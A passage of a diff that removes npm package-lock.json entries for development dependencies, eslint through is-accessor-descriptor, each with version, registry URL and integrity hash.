"sha512-oYrhJW7S0bxAFDvWqzvMPRm6pcgcnWc4QnofCAqRTRfQC0JcwenzGglTtsLyIuuWFfkqDG9vz67cnttSd53djw==", - "dev": true, - "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" - } - }, - "eslint-utils": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/eslint-utils/-/eslint-utils-2.0.0.tgz", - "integrity": "sha512-0HCPuJv+7Wv1bACm8y5/ECVfYdfsAm9xmVb7saeFlxjPYALefjhbYoCkBjPdPzGH8wWyTpAez82Fh3VKYEZ8OA==", - "dev": true, - "requires": { - "eslint-visitor-keys": "^1.1.0" - } - }, - "eslint-visitor-keys": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-1.1.0.tgz", - "integrity": "sha512-8y9YjtM1JBJU/A9Kc+SbaOV4y29sSWckBwMHa+FGtVj5gN/sbnKDf6xJUl+8g7FAij9LVaP8C24DUiH/f/2Z9A==", - "dev": true - }, - "espree": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-7.0.0.tgz", - "integrity": "sha512-/r2XEx5Mw4pgKdyb7GNLQNsu++asx/dltf/CI8RFi9oGHxmQFgvLbc5Op4U6i8Oaj+kdslhJtVlEZeAqH5qOTw==", - "dev": true, - "requires": { - "acorn": "^7.1.1", - "acorn-jsx": "^5.2.0", - "eslint-visitor-keys": "^1.1.0" - } - }, - "esprima": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", - "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", - "dev": true - }, - "esquery": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.3.1.tgz", - "integrity": "sha512-olpvt9QG0vniUBZspVRN6lwB7hOZoTRtT+jzR+tS4ffYx2mzbw+z0XCOk44aaLYKApNX5nMm+E+P6o25ip/DHQ==", - "dev": true, - "requires": { - "estraverse": "^5.1.0" - }, - "dependencies": { - "estraverse": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.1.0.tgz", - "integrity": "sha512-FyohXK+R0vE+y1nHLoBM7ZTyqRpqAlhdZHCWIWEviFLiGB8b04H6bQs8G+XTthacvT8VuwvteiP7RJSxMs8UEw==", - "dev": true - } - } - }, - "esrecurse": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/esrecurse/-/esrecurse-4.2.1.tgz", - "integrity": "sha512-64RBB++fIOAXPw3P9cy89qfMlvZEXZkqqJkjqqXIvzP5ezRZjW+lPWjw35UX/3EhUPFYbg5ER4JYgDw4007/DQ==", - "dev": true, - "requires": { - "estraverse": "^4.1.0" - } - }, - "estraverse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", - "dev": true - }, - "esutils": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/esutils/-/esutils-2.0.3.tgz", - "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", - "dev": true - }, - "exec-sh": { - "version": "0.3.4", - "resolved": "https://registry.npmjs.org/exec-sh/-/exec-sh-0.3.4.tgz", - "integrity": "sha512-sEFIkc61v75sWeOe72qyrqg2Qg0OuLESziUDk/O/z2qgS15y2gWVFrI6f2Qn/qw/0/NCfCEsmNA4zOjkwEZT1A==", - "dev": true - }, - "execa": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/execa/-/execa-1.0.0.tgz", - "integrity": "sha512-adbxcyWV46qiHyvSp50TKt05tB4tK3HcmF7/nxfAdhnox83seTDbwnaqKO4sXRy7roHAIFqJP/Rw/AuEbX61LA==", - "dev": true, - "requires": { - "cross-spawn": "^6.0.0", - "get-stream": "^4.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - } - }, - "exit": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz", - "integrity": "sha1-BjJjj42HfMghB9MKD/8aF8uhzQw=", - "dev": true - }, - "expand-brackets": { - "version": "2.1.4", - "resolved": "https://registry.npmjs.org/expand-brackets/-/expand-brackets-2.1.4.tgz", - "integrity": "sha1-t3c14xXOMPa27/D4OwQVGiJEliI=", - "dev": true, - "requires": { - "debug": "^2.3.3", - "define-property": "^0.2.5", - "extend-shallow": "^2.0.1", - "posix-character-classes": "^0.1.0", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "debug": { - "version": "2.6.9", - "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz", - "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==", - "dev": true, - "requires": { - "ms": "2.0.0" - } - }, - "define-property": { - "version": "0.2.5", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz", - "integrity": "sha1-w1se+RjsPJkPmlvFe+BKrOxcgRY=", - "dev": true, - "requires": { - "is-descriptor": "^0.1.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "ms": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", - "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=", - "dev": true - } - } - }, - "expect": { - "version": "26.0.1", - "resolved": "https://registry.npmjs.org/expect/-/expect-26.0.1.tgz", - "integrity": "sha512-QcCy4nygHeqmbw564YxNbHTJlXh47dVID2BUP52cZFpLU9zHViMFK6h07cC1wf7GYCTIigTdAXhVua8Yl1FkKg==", - "dev": true, - "requires": { - "@jest/types": "^26.0.1", - "ansi-styles": "^4.0.0", - "jest-get-type": "^26.0.0", - "jest-matcher-utils": "^26.0.1", - "jest-message-util": "^26.0.1", - "jest-regex-util": "^26.0.0" - } - }, - "extend": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", - "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==", - "dev": true - }, - "extend-shallow": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", - "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", - "dev": true, - "requires": { - "assign-symbols": "^1.0.0", - "is-extendable": "^1.0.1" - }, - "dependencies": { - "is-extendable": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", - "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", - "dev": true, - "requires": { - "is-plain-object": "^2.0.4" - } - }, - "is-plain-object": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", - "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", - "dev": true, - "requires": { - "isobject": "^3.0.1" - } - }, - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "external-editor": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", - "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", - "dev": true, - "requires": { - "chardet": "^0.7.0", - "iconv-lite": "^0.4.24", - "tmp": "^0.0.33" - } - }, - "extglob": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/extglob/-/extglob-2.0.4.tgz", - "integrity": "sha512-Nmb6QXkELsuBr24CJSkilo6UHHgbekK5UiZgfE6UHD3Eb27YC6oD+bhcT+tJ6cl8dmsgdQxnWlcry8ksBIBLpw==", - "dev": true, - "requires": { - "array-unique": "^0.3.2", - "define-property": "^1.0.0", - "expand-brackets": "^2.1.4", - "extend-shallow": "^2.0.1", - "fragment-cache": "^0.2.1", - "regex-not": "^1.0.0", - "snapdragon": "^0.8.1", - "to-regex": "^3.0.1" - }, - "dependencies": { - "define-property": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz", - "integrity": "sha1-dp66rz9KY6rTr56NMEybvnm/sOY=", - "dev": true, - "requires": { - "is-descriptor": "^1.0.0" - } - }, - "extend-shallow": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz", - "integrity": "sha1-Ua99YUrZqfYQ6huvu5idaxxWiQ8=", - "dev": true, - "requires": { - "is-extendable": "^0.1.0" - } - }, - "is-accessor-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", - "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-data-descriptor": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", - "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", - "dev": true, - "requires": { - "kind-of": "^6.0.0" - } - }, - "is-descriptor": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", - "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", - "dev": true, - "requires": { - "is-accessor-descriptor": "^1.0.0", - "is-data-descriptor": "^1.0.0", - "kind-of": "^6.0.2" - } - } - } - }, - "extsprintf": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", - "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", - "dev": true - }, - "fast-deep-equal": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.1.tgz", - "integrity": "sha512-8UEa58QDLauDNfpbrX55Q9jrGHThw2ZMdOky5Gl1CDtVeJDPVrG4Jxx1N8jw2gkWaff5UUuX1KJd+9zGe2B+ZA==", - "dev": true - }, - "fast-diff": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/fast-diff/-/fast-diff-1.2.0.tgz", - "integrity": "sha512-xJuoT5+L99XlZ8twedaRf6Ax2TgQVxvgZOYoPKqZufmJib0tL2tegPBOZb1pVNgIhlqDlA0eO0c3wBvQcmzx4w==", - "dev": true - }, - "fast-json-stable-stringify": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz", - "integrity": "sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==", - "dev": true - }, - "fast-levenshtein": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz", - "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", - "dev": true - }, - "fb-watchman": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.1.tgz", - "integrity": "sha512-DkPJKQeY6kKwmuMretBhr7G6Vodr7bFwDYTXIkfG1gjvNpaxBTQV3PbXg6bR1c1UP4jPOX0jHUbbHANL9vRjVg==", - "dev": true, - "requires": { - "bser": "2.1.1" - } - }, - "figures": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz", - "integrity": "sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==", - "dev": true, - "requires": { - "escape-string-regexp": "^1.0.5" - } - }, - "file-entry-cache": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-5.0.1.tgz", - "integrity": "sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==", - "dev": true, - "requires": { - "flat-cache": "^2.0.1" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "requires": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - } - }, - "flat-cache": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-2.0.1.tgz", - "integrity": "sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==", - "dev": true, - "requires": { - "flatted": "^2.0.0", - "rimraf": "2.6.3", - "write": "1.0.3" - }, - "dependencies": { - "rimraf": { - "version": "2.6.3", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz", - "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - } - } - }, - "flatted": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/flatted/-/flatted-2.0.2.tgz", - "integrity": "sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA==", - "dev": true - }, - "for-in": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", - "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", - "dev": true - }, - "forever-agent": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", - "dev": true - }, - "form-data": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.3.tgz", - "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", - "dev": true, - "requires": { - "asynckit": "^0.4.0", - "combined-stream": "^1.0.6", - "mime-types": "^2.1.12" - } - }, - "fragment-cache": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz", - "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=", - "dev": true, - "requires": { - "map-cache": "^0.2.2" - } - }, - "fs.realpath": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", - "dev": true - }, - "fsevents": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.1.3.tgz", - "integrity": "sha512-Auw9a4AxqWpa9GUfj370BMPzzyncfBABW8Mab7BGWBYDj4Isgq+cDKtx0i6u9jcX9pQDnswsaaOTgTmA5pEjuQ==", - "dev": true, - "optional": true - }, - "functional-red-black-tree": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", - "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", - "dev": true - }, - "gensync": { - "version": "1.0.0-beta.1", - "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.1.tgz", - "integrity": "sha512-r8EC6NO1sngH/zdD9fiRDLdcgnbayXah+mLgManTaIZJqEC1MZstmnox8KpnI2/fxQwrp5OpCOYWLp4rBl4Jcg==", - "dev": true - }, - "get-caller-file": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", - "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", - "dev": true - }, - "get-stdin": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-6.0.0.tgz", - "integrity": "sha512-jp4tHawyV7+fkkSKyvjuLZswblUtz+SQKzSWnBbii16BuZksJlU1wuBYXY75r+duh/llF1ur6oNwi+2ZzjKZ7g==", - "dev": true - }, - "get-stream": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz", - "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==", - "dev": true, - "requires": { - "pump": "^3.0.0" - } - }, - "get-value": { - "version": "2.0.6", - "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", - "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=", - "dev": true - }, - "getpass": { - "version": "0.1.7", - "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", - "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0" - } - }, - "glob": { - "version": "7.1.6", - "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.6.tgz", - "integrity": "sha512-LwaxwyZ72Lk7vZINtNNrywX0ZuLyStrdDtabefZKAY5ZGJhVtgdznluResxNmPitE0SAO+O26sWTHeKSI2wMBA==", - "dev": true, - "requires": { - "fs.realpath": "^1.0.0", - "inflight": "^1.0.4", - "inherits": "2", - "minimatch": "^3.0.4", - "once": "^1.3.0", - "path-is-absolute": "^1.0.0" - } - }, - "glob-parent": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz", - "integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==", - "dev": true, - "requires": { - "is-glob": "^4.0.1" - } - }, - "globals": { - "version": "11.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", - "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", - "dev": true - }, - "graceful-fs": { - "version": "4.2.4", - "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", - "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", - "dev": true - }, - "growly": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/growly/-/growly-1.3.0.tgz", - "integrity": "sha1-8QdIy+dq+WS3yWyTxrzCivEgwIE=", - "dev": true, - "optional": true - }, - "har-schema": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", - "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", - "dev": true - }, - "har-validator": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", - "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", - "dev": true, - "requires": { - "ajv": "^6.5.5", - "har-schema": "^2.0.0" - } - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "has-value": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", - "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", - "dev": true, - "requires": { - "get-value": "^2.0.6", - "has-values": "^1.0.0", - "isobject": "^3.0.0" - }, - "dependencies": { - "isobject": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true - } - } - }, - "has-values": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", - "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", - "dev": true, - "requires": { - "is-number": "^3.0.0", - "kind-of": "^4.0.0" - }, - "dependencies": { - "is-number": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", - "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", - "dev": true, - "requires": { - "kind-of": "^3.0.2" - }, - "dependencies": { - "kind-of": { - "version": "3.2.2", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", - "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "kind-of": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", - "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", - "dev": true, - "requires": { - "is-buffer": "^1.1.5" - } - } - } - }, - "hosted-git-info": { - "version": "2.8.8", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.8.8.tgz", - "integrity": "sha512-f/wzC2QaWBs7t9IYqB4T3sR1xviIViXJRJTWBlx2Gf3g0Xi5vI7Yy4koXQ1c9OYDGHN9sBy1DQ2AB8fqZBWhUg==", - "dev": true - }, - "html-encoding-sniffer": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-2.0.1.tgz", - "integrity": "sha512-D5JbOMBIR/TVZkubHT+OyT2705QvogUW4IBn6nHd756OwieSF9aDYFj4dv6HHEVGYbHaLETa3WggZYWWMyy3ZQ==", - "dev": true, - "requires": { - "whatwg-encoding": "^1.0.5" - } - }, - "html-escaper": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/html-escaper/-/html-escaper-2.0.2.tgz", - "integrity": "sha512-H2iMtd0I4Mt5eYiapRdIDjp+XzelXQ0tFE4JS7YFwFevXXMmOp9myNrUvCg0D6ws8iqkRPBfKHgbwig1SmlLfg==", - "dev": true - }, - "http-signature": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", - "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", - "dev": true, - "requires": { - "assert-plus": "^1.0.0", - "jsprim": "^1.2.2", - "sshpk": "^1.7.0" - } - }, - "human-signals": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/human-signals/-/human-signals-1.1.1.tgz", - "integrity": "sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==", - "dev": true - }, - "iconv-lite": { - "version": "0.4.24", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", - "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", - "dev": true, - "requires": { - "safer-buffer": ">= 2.1.2 < 3" - } - }, - "ignore": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", - "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", - "dev": true - }, - "import-fresh": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/import-fresh/-/import-fresh-3.2.1.tgz", - "integrity": "sha512-6e1q1cnWP2RXD9/keSkxHScg508CdXqXWgWBaETNhyuBFz+kUZlKboh+ISK+bU++DmbHimVBrOz/zzPe0sZ3sQ==", - "dev": true, - "requires": { - "parent-module": "^1.0.0", - "resolve-from": "^4.0.0" - }, - "dependencies": { - "resolve-from": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", - "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", - "dev": true - } - } - }, - "import-local": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.0.2.tgz", - "integrity": "sha512-vjL3+w0oulAVZ0hBHnxa/Nm5TAurf9YLQJDhqRZyqb+VKGOB6LU8t9H1Nr5CIo16vh9XfJTOoHwU0B71S557gA==", - "dev": true, - "requires": { - "pkg-dir": "^4.2.0", - "resolve-cwd": "^3.0.0" - } - }, - "imurmurhash": { - "version": "0.1.4", - "resolved": "https://registry.npmjs.org/imurmurhash/-/imurmurhash-0.1.4.tgz", - "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", - "dev": true - }, - "inflight": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", - "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "dev": true, - "requires": { - "once": "^1.3.0", - "wrappy": "1" - } - }, - "inherits": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", - "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", - "dev": true - }, - "inquirer": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-7.1.0.tgz", - "integrity": "sha512-5fJMWEmikSYu0nv/flMc475MhGbB7TSPd/2IpFV4I4rMklboCH2rQjYY5kKiYGHqUF9gvaambupcJFFG9dvReg==", - "dev": true, - "requires": { - "ansi-escapes": "^4.2.1", - "chalk": "^3.0.0", - "cli-cursor": "^3.1.0", - "cli-width": "^2.0.0", - "external-editor": "^3.0.3", - "figures": "^3.0.0", - "lodash": "^4.17.15", - "mute-stream": "0.0.8", - "run-async": "^2.4.0", - "rxjs": "^6.5.3", - "string-width": "^4.1.0", - "strip-ansi": "^6.0.0", - "through": "^2.3.6" - }, - "dependencies": { - "chalk": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", - "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - } - } - }, - "ip-regex": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/ip-regex/-/ip-regex-2.1.0.tgz", - "integrity": "sha1-+ni/XS5pE8kRzp+BnuUUa7bYROk=", - "dev": true - }, - "is-accessor-descriptor": { - "version": "0.1.6", - "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-0.1.6.tgz", - "integrity": 